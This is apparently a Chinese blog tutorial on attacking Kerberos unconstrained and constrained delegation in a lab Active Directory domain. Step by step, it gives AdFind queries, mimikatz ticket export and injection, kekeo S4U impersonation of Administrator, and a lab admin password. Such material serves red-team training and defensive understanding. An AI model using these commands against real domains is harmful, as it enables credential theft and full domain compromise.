域渗透系列-委派攻击(非约束性委派/约束性委派)

一、前言

委派一般出现在域环境中,指将域内用户的权限委派给服务账号,使得服务账号能以用户权限访问域内的其他服务,即假设A用户访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。域内委派主要有三种类型:非约束性委派、约束性委派以及基于资源的约束性委派。本文主要介绍非约束性委派及约束性委派攻击手法。

二、非约束性委派

若配置了非约束性委派,服务账户可以获取被委派用户的TGT票据,并将TGT票据缓存到lsass进程中,从而服务账户可使用该TGT票据模拟该用户访问任意服务。在域控中默认配置了非约束性委派。

查找域中配置非约束性委派的服务账号

利用 ADfind 寻找域内配置了非约束委派服务账号,点击下载

1
2
3
AdFind.exe -b "DC=域名前缀,DC=域名后缀" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

账户 saulgoodman 配置了非约束性委派

image-20230124220444429

域控下该账户配置如下

image-20230124223151897

查找域中配置非约束性委派的主机

1
2
3
AdFind.exe -b "DC=域名前缀,DC=域名后缀" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

OWA、SQLSERVER-2008 主机配置了非约束性委派

image-20230124220545872

域控下配置如下图

image-20230124223317529

非约束性委派攻击

1
2
3
4
5
6
7
| 环境           | 名称           |
| -------------- | -------------- |
| 域控主机 | owa |
| 域控管理员 | administrator |
| 域内成员主机 | sqlserver-2008 |
| 域成员普通账号 | sqlserver |
| 域名 | redteam.red |

1、利用 mimikatz 清理域内成员主机票据

image-20230124224345035

这是域控未访问主机前的票据,利用 mimikatz 导出,存储在 mimikatz 目录下

1
sekurlsa::tickets /export

image-20230124224822348

image-20230124224959236

2、在域控机器上模拟管理员账号远程IPC连接域成员主机。当成功访问后,域成员主机的 lsass.exe 内存中就会有域管理员 administrator 的 TGT 票据。

1
2
3
net use \\域内成员主机名.域名 /user:域管理员账户 密码

net use \\sqlserver-2008.redteam.red /user:redteam\administrator redteam!@#45

image-20230124225538151

4、域成员主机再次利用 mimikatz 导出票据,此时多了一个域管理员的票据

1
sekurlsa::tickets /export

image-20230124230011442

5、利用 mimikatz 进行导入票据

1
2
kerberos::ppt [0;8ddacc]-2-0-60a00000-Administrator@krbtgt-REDTEAM.RED.kirbi	# 导入票据
kerberos::list # 查看票据

image-20230124230229053

6、域内成员主机成功访问域控

image-20230124230444983

三、约束性委派

若配置了约束性委派,服务账号只能获取该用户对指定服务的ST票据,从而只能模拟该用户访问特定的服务。

查看域内约束性委派的服务账号

利用 ADfind 寻找域内配置了约束委派服务账号,点击下载

1
2
3
AdFind.exe -b "DC=域名前缀,DC=域名后缀" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

AdFind.exe -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20230126105511373

image-20230126102412371

约束性委派攻击

1、已知域控管理员明文,在配置了利用约束性委派的服务的域成员机器上利用kekeo请求TGT服务,获取TGT票据

1
2
3
tgt::ask /user:约束性委派的服务账号 /domain:域名 /password:约束性委派的服务账号密码

tgt::ask /user:sqlserver /domain:redteam.red /password:admin2345

image-20230126104927953

image-20230126105037069

2、利用请求到的TGT票据,使用S4U协议并伪造administrator身份访问服务。

1
2
3
tgs::s4u /tgt:请求到的TGT票据 /user:Administrator@域名 /service:cifs/对应的主机名

tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red

image-20230126105818800

获取到两张ST,一张是cifs/owa.redteam.red服务的,另一张是sqlserver服务的

image-20230126110008259

3、使用 mimikatz 将票据导入即可访问 cifs/owa.redteam.red 服务

1
2
3
kerberos::ptt cifs主机服务票据

kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image-20230126110700172

未进行约束性委派攻击前不能访问域控

image-20230126110548968

进行约束性委派攻击后成功访问域控

image-20230126110756652

五、总结

本文简单阐述了非约束性委派及约束性委派的基本原理及基本的攻击手法,基于资源的约束性委派部分后续有时间再更新。

六、参考

1
2
3
4
5
6
https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml
https://github.com/gentilkiwi/kekeo
https://github.com/Kevin-Robertson/Powermad
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
https://cloud.tencent.com/developer/article/1899592
https://cloud.tencent.com/developer/article/1861371